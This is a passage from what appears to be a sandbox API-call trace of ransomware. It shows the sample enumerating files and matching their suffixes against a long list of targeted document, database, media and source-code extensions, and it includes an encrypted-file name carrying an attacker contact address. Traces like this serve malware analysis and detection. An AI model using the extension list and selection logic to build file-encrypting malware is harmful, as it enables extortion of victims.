nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.702] FindNextFileW (in: hFindFile=0x8dac48, lpFindFileData=0x37ef808 | out: lpFindFileData=0x37ef808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1d8c5a20, ftCreationTime.dwHighDateTime=0x1d5d106, ftLastAccessTime.dwLowDateTime=0x1d8c5a20, ftLastAccessTime.dwHighDateTime=0x1d5d106, ftLastWriteTime.dwLowDateTime=0x1d8c5a20, ftLastWriteTime.dwHighDateTime=0x1d5d106, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0193.702] lstrlenW (lpString="desktop.ini") returned 11 [0193.702] lstrlenW (lpString=".1cd") returned 4 [0193.703] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0193.703] lstrlenW (lpString=".3ds") returned 4 [0193.703] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0193.703] lstrlenW (lpString=".3fr") returned 4 [0193.703] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0193.703] lstrlenW (lpString=".3g2") returned 4 [0193.703] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0193.703] lstrlenW (lpString=".3gp") returned 4 [0193.703] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0193.703] lstrlenW (lpString=".7z") returned 3 [0193.704] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0193.704] lstrlenW (lpString=".accda") returned 6 [0193.704] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0193.704] lstrlenW (lpString=".accdb") returned 6 [0193.704] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0193.704] lstrlenW (lpString=".accdc") returned 6 [0193.704] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0193.704] lstrlenW (lpString=".accde") returned 6 [0193.704] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0193.704] lstrlenW (lpString=".accdt") returned 6 [0193.704] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0193.705] lstrlenW (lpString=".accdw") returned 6 [0193.705] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0193.705] lstrlenW (lpString=".adb") returned 4 [0193.705] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0193.705] lstrlenW (lpString=".adp") returned 4 [0193.705] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0193.705] lstrlenW (lpString=".ai") returned 3 [0193.705] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0193.705] lstrlenW (lpString=".ai3") returned 4 [0193.705] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0193.705] lstrlenW (lpString=".ai4") returned 4 [0193.705] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0193.706] lstrlenW (lpString=".ai5") returned 4 [0193.706] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0193.706] lstrlenW (lpString=".ai6") returned 4 [0193.706] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0193.706] lstrlenW (lpString=".ai7") returned 4 [0193.706] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0193.706] lstrlenW (lpString=".ai8") returned 4 [0193.706] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0193.706] lstrlenW (lpString=".anim") returned 5 [0193.706] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0193.706] lstrlenW (lpString=".arw") returned 4 [0193.706] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0193.706] lstrlenW (lpString=".as") returned 3 [0193.706] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0193.707] lstrlenW (lpString=".asa") returned 4 [0193.707] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0193.707] lstrlenW (lpString=".asc") returned 4 [0193.707] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0193.707] lstrlenW (lpString=".ascx") returned 5 [0193.707] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0193.707] lstrlenW (lpString=".asm") returned 4 [0193.707] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0193.707] lstrlenW (lpString=".asmx") returned 5 [0193.707] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0193.707] lstrlenW (lpString=".asp") returned 4 [0193.707] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0193.707] lstrlenW (lpString=".aspx") returned 5 [0193.707] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0193.708] lstrlenW (lpString=".asr") returned 4 [0193.708] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0193.708] lstrlenW (lpString=".asx") returned 4 [0193.708] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0193.708] lstrlenW (lpString=".avi") returned 4 [0193.708] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0193.708] lstrlenW (lpString=".avs") returned 4 [0193.708] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0193.708] lstrlenW (lpString=".backup") returned 7 [0193.709] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0193.709] lstrlenW (lpString=".bak") returned 4 [0193.709] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0193.709] lstrlenW (lpString=".bay") returned 4 [0193.709] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0193.709] lstrlenW (lpString=".bd") returned 3 [0193.709] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0193.709] lstrlenW (lpString=".bin") returned 4 [0193.709] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0193.709] lstrlenW (lpString=".bmp") returned 4 [0193.709] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0193.709] lstrlenW (lpString=".bz2") returned 4 [0193.709] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0193.710] lstrlenW (lpString=".c") returned 2 [0193.710] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0193.710] lstrlenW (lpString=".cdr") returned 4 [0193.710] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0193.710] lstrlenW (lpString=".cer") returned 4 [0193.710] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0193.710] lstrlenW (lpString=".cf") returned 3 [0193.710] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0193.710] lstrlenW (lpString=".cfc") returned 4 [0193.710] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0193.710] lstrlenW (lpString=".cfm") returned 4 [0193.710] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0193.711] lstrlenW (lpString=".cfml") returned 5 [0193.711] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0193.711] lstrlenW (lpString=".cfu") returned 4 [0193.711] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0193.711] lstrlenW (lpString=".chm") returned 4 [0193.711] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0193.711] lstrlenW (lpString=".cin") returned 4 [0193.711] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0193.711] lstrlenW (lpString=".class") returned 6 [0193.711] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0193.711] lstrlenW (lpString=".clx") returned 4 [0193.711] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0193.711] lstrlenW (lpString=".config") returned 7 [0193.711] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0193.711] lstrlenW (lpString=".cpp") returned 4 [0193.712] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0193.712] lstrlenW (lpString=".cr2") returned 4 [0193.712] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0193.712] lstrlenW (lpString=".crt") returned 4 [0193.712] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0193.712] lstrlenW (lpString=".crw") returned 4 [0193.712] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0193.712] lstrlenW (lpString=".cs") returned 3 [0193.712] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0193.712] lstrlenW (lpString=".css") returned 4 [0193.712] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0193.712] lstrlenW (lpString=".csv") returned 4 [0193.712] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0193.712] lstrlenW (lpString=".cub") returned 4 [0193.713] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0193.713] lstrlenW (lpString=".dae") returned 4 [0193.713] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0193.713] lstrlenW (lpString=".dat") returned 4 [0193.713] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0193.713] lstrlenW (lpString=".db") returned 3 [0193.713] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0193.713] lstrlenW (lpString=".dbf") returned 4 [0193.713] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0193.713] lstrlenW (lpString=".dbx") returned 4 [0193.713] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0193.714] lstrlenW (lpString=".dc3") returned 4 [0193.714] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0193.714] lstrlenW (lpString=".dcm") returned 4 [0193.714] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0193.714] lstrlenW (lpString=".dcr") returned 4 [0193.714] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0193.714] lstrlenW (lpString=".der") returned 4 [0193.714] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0193.714] lstrlenW (lpString=".dib") returned 4 [0193.714] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0193.714] lstrlenW (lpString=".dic") returned 4 [0193.714] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0193.714] lstrlenW (lpString=".dif") returned 4 [0193.715] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0193.715] lstrlenW (lpString=".divx") returned 5 [0193.715] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0193.715] lstrlenW (lpString=".djvu") returned 5 [0193.715] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0193.715] lstrlenW (lpString=".dng") returned 4 [0193.715] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0193.715] lstrlenW (lpString=".doc") returned 4 [0193.715] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0193.715] lstrlenW (lpString=".docm") returned 5 [0193.715] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0193.715] lstrlenW (lpString=".docx") returned 5 [0193.715] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0193.715] lstrlenW (lpString=".dot") returned 4 [0193.716] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0193.716] lstrlenW (lpString=".dotm") returned 5 [0193.716] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0193.716] lstrlenW (lpString=".dotx") returned 5 [0193.716] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0193.716] lstrlenW (lpString=".dpx") returned 4 [0193.716] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0193.716] lstrlenW (lpString=".dqy") returned 4 [0193.716] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0193.716] lstrlenW (lpString=".dsn") returned 4 [0193.716] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0193.716] lstrlenW (lpString=".dt") returned 3 [0193.717] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0193.717] lstrlenW (lpString=".dtd") returned 4 [0193.717] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0193.717] lstrlenW (lpString=".dwg") returned 4 [0193.717] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0193.717] lstrlenW (lpString=".dwt") returned 4 [0193.717] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0193.717] lstrlenW (lpString=".dx") returned 3 [0193.717] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0193.717] lstrlenW (lpString=".dxf") returned 4 [0193.717] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0193.717] lstrlenW (lpString=".edml") returned 5 [0193.717] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0193.718] lstrlenW (lpString=".efd") returned 4 [0193.718] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0193.718] lstrlenW (lpString=".elf") returned 4 [0193.718] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0193.718] lstrlenW (lpString=".emf") returned 4 [0193.718] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0193.718] lstrlenW (lpString=".emz") returned 4 [0193.718] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0193.718] lstrlenW (lpString=".epf") returned 4 [0193.718] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0193.718] lstrlenW (lpString=".eps") returned 4 [0193.718] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0193.718] lstrlenW (lpString=".epsf") returned 5 [0193.718] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0193.719] lstrlenW (lpString=".epsp") returned 5 [0193.719] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0193.719] lstrlenW (lpString=".erf") returned 4 [0193.719] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0193.719] lstrlenW (lpString=".exr") returned 4 [0193.719] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0193.719] lstrlenW (lpString=".f4v") returned 4 [0193.719] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0193.719] lstrlenW (lpString=".fido") returned 5 [0193.719] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0193.719] lstrlenW (lpString=".flm") returned 4 [0193.719] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0193.719] lstrlenW (lpString=".flv") returned 4 [0193.720] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0193.720] lstrlenW (lpString=".frm") returned 4 [0193.720] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0193.720] lstrlenW (lpString=".fxg") returned 4 [0193.720] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0193.720] lstrlenW (lpString=".geo") returned 4 [0193.720] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0193.720] lstrlenW (lpString=".gif") returned 4 [0193.720] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0193.720] lstrlenW (lpString=".grs") returned 4 [0193.720] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0193.720] lstrlenW (lpString=".gz") returned 3 [0193.721] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0193.721] lstrlenW (lpString=".h") returned 2 [0193.721] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0193.721] lstrlenW (lpString=".hdr") returned 4 [0193.721] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0193.721] lstrlenW (lpString=".hpp") returned 4 [0193.721] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0193.721] lstrlenW (lpString=".hta") returned 4 [0193.721] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0193.721] lstrlenW (lpString=".htc") returned 4 [0193.721] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0193.721] lstrlenW (lpString=".htm") returned 4 [0193.721] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0193.721] lstrlenW (lpString=".html") returned 5 [0193.722] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0193.722] lstrlenW (lpString=".icb") returned 4 [0193.722] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0193.722] lstrlenW (lpString=".ics") returned 4 [0193.722] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0193.722] lstrlenW (lpString=".iff") returned 4 [0193.722] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0193.722] lstrlenW (lpString=".inc") returned 4 [0193.722] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0193.722] lstrlenW (lpString=".indd") returned 5 [0193.722] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0193.722] lstrlenW (lpString=".ini") returned 4 [0193.723] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0193.723] FindNextFileW (in: hFindFile=0x8dac48, lpFindFileData=0x37ef808 | out: lpFindFileData=0x37ef808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc7f3c120, ftCreationTime.dwHighDateTime=0x1d5d105, ftLastAccessTime.dwLowDateTime=0xc7f3c120, ftLastAccessTime.dwHighDateTime=0x1d5d105, ftLastWriteTime.dwLowDateTime=0xc7f883e0, ftLastWriteTime.dwHighDateTime=0x1d5d105, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-9C354B42.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="DESKTO~1.NEW")) returned 1 [0193.723] lstrlenW (lpString="desktop.ini.id-9C354B42.[notgoodnews@tutanota.com].NEWS") returned 55 [0193.723] lstrlenW (lpString=".1cd") returned 4 [0193.723] lstrcmpiW (lpString1=".1cd", lpString2="NEWS") returned -1 [0193.723] lstrlenW (lpString=".3ds") returned 4 [0193.723] lstrcmpiW (lpString1=".3ds", lpString2="NEWS") returned -1 [0193.723] lstrlenW (lpString=".3fr") returned 4 [0193.723] lstrcmpiW (lpString1=".3fr", lpString2="NEWS") returned -1 [0193.724] lstrlenW (lpString=".3g2") returned 4 [0193.724] lstrcmpiW (lpString1=".3g2", lpString2="NEWS") returned -1 [0193.724] lstrlenW (lpString=".3gp") returned 4 [0193.724] lstrcmpiW (lpString1=".3gp", lpString2="NEWS") returned -1 [0193.724] lstrlenW (lpString=".7z") returned 3 [0193.724] lstrcmpiW (lpString1=".7z", lpString2="EWS") returned -1 [0193.724] lstrlenW (lpString=".accda") returned 6 [0193.724] lstrcmpiW (lpString1=".accda", lpString2="].NEWS") returned -1 [0193.724] lstrlenW (lpString=".accdb") returned 6 [0193.724] lstrcmpiW (lpString1=".accdb", lpString2="].NEWS") returned -1 [0193.724] lstrlenW (lpString=".accdc") returned 6 [0193.724] lstrcmpiW (lpString1=".accdc", lpString2="].NEWS") returned -1 [0193.725] lstrlenW (lpString=".accde") returned 6 [0193.725] lstrcmpiW (lpString1=".accde", lpString2="].NEWS") returned -1 [0193.725] lstrlenW (lpString=".accdt") returned 6 [0193.725] lstrcmpiW (lpString1=".accdt", lpString2="].NEWS") returned -1 [0193.725] lstrlenW (lpString=".accdw") returned 6 [0193.725] lstrcmpiW (lpString1=".accdw", lpString2="].NEWS") returned -1 [0193.725] lstrlenW (lpString=".adb") returned 4 [0193.725] lstrcmpiW (lpString1=".adb", lpString2="NEWS") returned -1 [0193.725] lstrlenW (lpString=".adp") returned 4 [0193.725] lstrcmpiW (lpString1=".adp", lpString2="NEWS") returned -1 [0193.725] lstrlenW (lpString=".ai") returned 3 [0193.725] lstrcmpiW (lpString1=".ai", lpString2="EWS") returned -1 [0193.726] lstrlenW (lpString=".ai3") returned 4 [0193.726] lstrcmpiW (lpString1=".ai3", lpString2="NEWS") returned -1 [0193.726] lstrlenW (lpString=".ai4") returned 4 [0193.726] lstrcmpiW (lpString1=".ai4", lpString2="NEWS") returned -1 [0193.726] lstrlenW (lpString=".ai5") returned 4 [0193.726] lstrcmpiW (lpString1=".ai5", lpString2="NEWS") returned -1 [0193.726] lstrlenW (lpString=".ai6") returned 4 [0193.726] lstrcmpiW (lpString1=".ai6", lpString2="NEWS") returned -1 [0193.726] lstrlenW (lpString=".ai7") returned 4 [0193.726] lstrcmpiW (lpString1=".ai7", lpString2="NEWS") returned -1 [0193.726] lstrlenW (lpString=".ai8") returned 4 [0193.727] lstrcmpiW (lpString1=".ai8", lpString2="NEWS") returned -1 [0193.727] lstrlenW (lpString=".anim") returned 5 [0193.727] lstrcmpiW (lpString1=".anim", lpString2=".NEWS") returned -1 [0193.727] lstrlenW (lpString=".arw") returned 4 [0193.727] lstrcmpiW (lpString1=".arw", lpString2="NEWS") returned -1 [0193.727] lstrlenW (lpString=".as") returned 3 [0193.727] lstrcmpiW (lpString1=".as", lpString2="EWS") returned -1 [0193.727] lstrlenW (lpString=".asa") returned 4 [0193.727] lstrcmpiW (lpString1=".asa", lpString2="NEWS") returned -1 [0193.727] lstrlenW (lpString=".asc") returned 4 [0193.727] lstrcmpiW (lpString1=".asc", lpString2="NEWS") returned -1 [0193.727] lstrlenW (lpString=".ascx") returned 5 [0193.727] lstrcmpiW (lpString1=".ascx", lpString2=".NEWS") returned -1 [0193.727] lstrlenW (lpString=".asm") returned 4 [0193.728] lstrcmpiW (lpString1=".asm", lpString2="NEWS") returned -1 [0193.728] lstrlenW (lpString=".asmx") returned 5 [0193.728] lstrcmpiW (lpString1=".asmx", lpString2=".NEWS") returned -1 [0193.728] lstrlenW (lpString=".asp") returned 4 [0193.728] lstrcmpiW (lpString1=".asp", lpString2="NEWS") returned -1 [0193.728] lstrlenW (lpString=".aspx") returned 5 [0193.728] lstrcmpiW (lpString1=".aspx", lpString2=".NEWS") returned -1 [0193.728] lstrlenW (lpString=".asr") returned 4 [0193.728] lstrcmpiW (lpString1=".asr", lpString2="NEWS") returned -1 [0193.728] lstrlenW (lpString=".asx") returned 4 [0193.728] lstrcmpiW (lpString1=".asx", lpString2="NEWS") returned -1 [0193.728] lstrlenW (lpString=".avi") returned 4 [0193.728] lstrcmpiW (lpString1=".avi", lpString2="NEWS") returned -1 [0193.729] lstrlenW (lpString=".avs") returned 4 [0193.729] lstrcmpiW (lpString1=".avs", lpString2="NEWS") returned -1 [0193.729] lstrlenW (lpString=".backup") returned 7 [0193.729] lstrcmpiW (lpString1=".backup", lpString2="m].NEWS") returned -1 [0193.729] lstrlenW (lpString=".bak") returned 4 [0193.729] lstrcmpiW (lpString1=".bak", lpString2="NEWS") returned -1 [0193.729] lstrlenW (lpString=".bay") returned 4 [0193.729] lstrcmpiW (lpString1=".bay", lpString2="NEWS") returned -1 [0193.729] lstrlenW (lpString=".bd") returned 3 [0193.729] lstrcmpiW (lpString1=".bd", lpString2="EWS") returned -1 [0193.729] lstrlenW (lpString=".bin") returned 4 [0193.729] lstrcmpiW (lpString1=".bin", lpString2="NEWS") returned -1 [0193.730] lstrlenW (lpString=".bmp") returned 4 [0193.730] lstrcmpiW (lpString1=".bmp", lpString2="NEWS") returned -1 [0193.730] lstrlenW (lpString=".bz2") returned 4 [0193.730] lstrcmpiW (lpString1=".bz2", lpString2="NEWS") returned -1 [0193.730] lstrlenW (lpString=".c") returned 2 [0193.730] lstrcmpiW (lpString1=".c", lpString2="WS") returned -1 [0193.730] lstrlenW (lpString=".cdr") returned 4 [0193.730] lstrcmpiW (lpString1=".cdr", lpString2="NEWS") returned -1 [0193.730] lstrlenW (lpString=".cer") returned 4 [0193.730] lstrcmpiW (lpString1=".cer", lpString2="NEWS") returned -1 [0193.730] lstrlenW (lpString=".cf") returned 3 [0193.731] lstrcmpiW (lpString1=".cf", lpString2="EWS") returned -1 [0193.731] lstrlenW (lpString=".cfc") returned 4 [0193.731] lstrcmpiW (lpString1=".cfc", lpString2="NEWS") returned -1 [0193.731] lstrlenW (lpString=".cfm") returned 4 [0193.731] lstrcmpiW (lpString1=".cfm", lpString2="NEWS") returned -1 [0193.731] lstrlenW (lpString=".cfml") returned 5 [0193.731] lstrcmpiW (lpString1=".cfml", lpString2=".NEWS") returned -1 [0193.731] lstrlenW (lpString=".cfu") returned 4 [0193.731] lstrcmpiW (lpString1=".cfu", lpString2="NEWS") returned -1 [0193.731] lstrlenW (lpString=".chm") returned 4 [0193.731] lstrcmpiW (lpString1=".chm", lpString2="NEWS") returned -1 [0193.731] lstrlenW (lpString=".cin") returned 4 [0193.732] lstrcmpiW (lpString1=".cin", lpString2="NEWS") returned -1 [0193.732] lstrlenW (lpString=".class") returned 6 [0193.732] lstrcmpiW (lpString1=".class", lpString2="].NEWS") returned -1 [0193.732] lstrlenW (lpString=".clx") returned 4 [0193.732] lstrcmpiW (lpString1=".clx", lpString2="NEWS") returned -1 [0193.732] lstrlenW (lpString=".config") returned 7 [0193.732] lstrcmpiW (lpString1=".config", lpString2="m].NEWS") returned -1 [0193.732] lstrlenW (lpString=".cpp") returned 4 [0193.732] lstrcmpiW (lpString1=".cpp", lpString2="NEWS") returned -1 [0193.732] lstrlenW (lpString=".cr2") returned 4 [0193.732] lstrcmpiW (lpString1=".cr2", lpString2="NEWS") returned -1 [0193.732] lstrlenW (lpString=".crt") returned 4 [0193.733] lstrcmpiW (lpString1=".crt", lpString2="NEWS") returned -1 [0193.733] lstrlenW (lpString=".crw") returned 4 [0193.733] lstrcmpiW (lpString1=".crw", lpString2="NEWS") returned -1 [0193.733] lstrlenW (lpString=".cs") returned 3 [0193.733] lstrcmpiW (lpString1=".cs", lpString2="EWS") returned -1 [0193.733] lstrlenW (lpString=".css") returned 4 [0193.733] lstrcmpiW (lpString1=".css", lpString2="NEWS") returned -1 [0193.733] lstrlenW (lpString=".csv") returned 4 [0193.733] lstrcmpiW (lpString1=".csv", lpString2="NEWS") returned -1 [0193.733] lstrlenW (lpString=".cub") returned 4 [0193.733] lstrcmpiW (lpString1=".cub", lpString2="NEWS") returned -1 [0193.733] lstrlenW (lpString=".dae") returned 4 [0193.734] lstrcmpiW (lpString1=".dae", lpString2="NEWS") returned -1 [0193.734] lstrlenW (lpString=".dat") returned 4 [0193.734] lstrcmpiW (lpString1=".dat", lpString2="NEWS") returned -1 [0193.734] lstrlenW (lpString=".db") returned 3 [0193.734] lstrcmpiW (lpString1=".db", lpString2="EWS") returned -1 [0193.734] lstrlenW (lpString=".dbf") returned 4 [0193.734] lstrcmpiW (lpString1=".dbf", lpString2="NEWS") returned -1 [0193.734] lstrlenW (lpString=".dbx") returned 4 [0193.734] lstrcmpiW (lpString1=".dbx", lpString2="NEWS") returned -1 [0193.734] lstrlenW (lpString=".dc3") returned 4 [0193.734] lstrcmpiW (lpString1=".dc3", lpString2="NEWS") returned -1 [0193.734] lstrlenW (lpString=".dcm") returned 4 [0193.734] lstrcmpiW (lpString1=".dcm", lpString2="NEWS") returned -1 [0193.735] lstrlenW (lpString=".dcr") returned 4 [0193.735] lstrcmpiW (lpString1=".dcr", lpString2="NEWS") returned -1 [0193.735] lstrlenW (lpString=".der") returned 4 [0193.735] lstrcmpiW (lpString1=".der", lpString2="NEWS") returned -1 [0193.735] lstrlenW (lpString=".dib") returned 4 [0193.735] lstrcmpiW (lpString1=".dib", lpString2="NEWS") returned -1 [0193.735] lstrlenW (lpString=".dic") returned 4 [0193.735] lstrcmpiW (lpString1=".dic", lpString2="NEWS") returned -1 [0193.735] lstrlenW (lpString=".dif") returned 4 [0193.735] lstrcmpiW (lpString1=".dif", lpString2="NEWS") returned -1 [0193.735] lstrlenW (lpString=".divx") returned 5 [0193.736] lstrcmpiW (lpString1=".divx", lpString2=".NEWS") returned -1 [0193.736] lstrlenW (lpString=".djvu") returned 5 [0193.736] lstrcmpiW (lpString1=".djvu", lpString2=".NEWS") returned -1 [0193.736] lstrlenW (lpString=".dng") returned 4 [0193.736] lstrcmpiW (lpString1=".dng", lpString2="NEWS") returned -1 [0193.736] lstrlenW (lpString=".doc") returned 4 [0193.736] lstrcmpiW (lpString1=".doc", lpString2="NEWS") returned -1 [0193.736] lstrlenW (lpString=".docm") returned 5 [0193.736] lstrcmpiW (lpString1=".docm", lpString2=".NEWS") returned -1 [0193.736] lstrlenW (lpString=".docx") returned 5 [0193.736] lstrcmpiW (lpString1=".docx", lpString2=".NEWS") returned -1 [0193.736] lstrlenW (lpString=".dot") returned 4 [0193.737] lstrcmpiW (lpString1=".dot", lpString2="NEWS") returned -1 [0193.737] lstrlenW (lpString=".dotm") returned 5 [0193.737] lstrcmpiW (lpString1=".dotm", lpString2=".NEWS") returned -1 [0193.737] lstrlenW (lpString=".dotx") returned 5 [0193.737] lstrcmpiW (lpString1=".dotx", lpString2=".NEWS") returned -1 [0193.737] lstrlenW (lpString=".dpx") returned 4 [0193.737] lstrcmpiW (lpString1=".dpx", lpString2="NEWS") returned -1 [0193.737] lstrlenW (lpString=".dqy") returned 4 [0193.737] lstrcmpiW (lpString1=".dqy", lpString2="NEWS") returned -1 [0193.737] lstrlenW (lpString=".dsn") returned 4 [0193.737] lstrcmpiW (lpString1=".dsn", lpString2="NEWS") returned -1 [0193.737] lstrlenW (lpString=".dt") returned 3 [0193.737] lstrcmpiW (lpString1=".dt", lpString2="EWS") returned -1 [0193.738] lstrlenW (lpString=".dtd") returned 4 [0193.738] lstrcmpiW (lpString1=".dtd", lpString2="NEWS") returned -1 [0193.738] lstrlenW (lpString=".dwg") returned 4 [0193.738] lstrcmpiW (lpString1=".dwg", lpString2="NEWS") returned -1 [0193.738] lstrlenW (lpString=".dwt") returned 4 [0193.738] 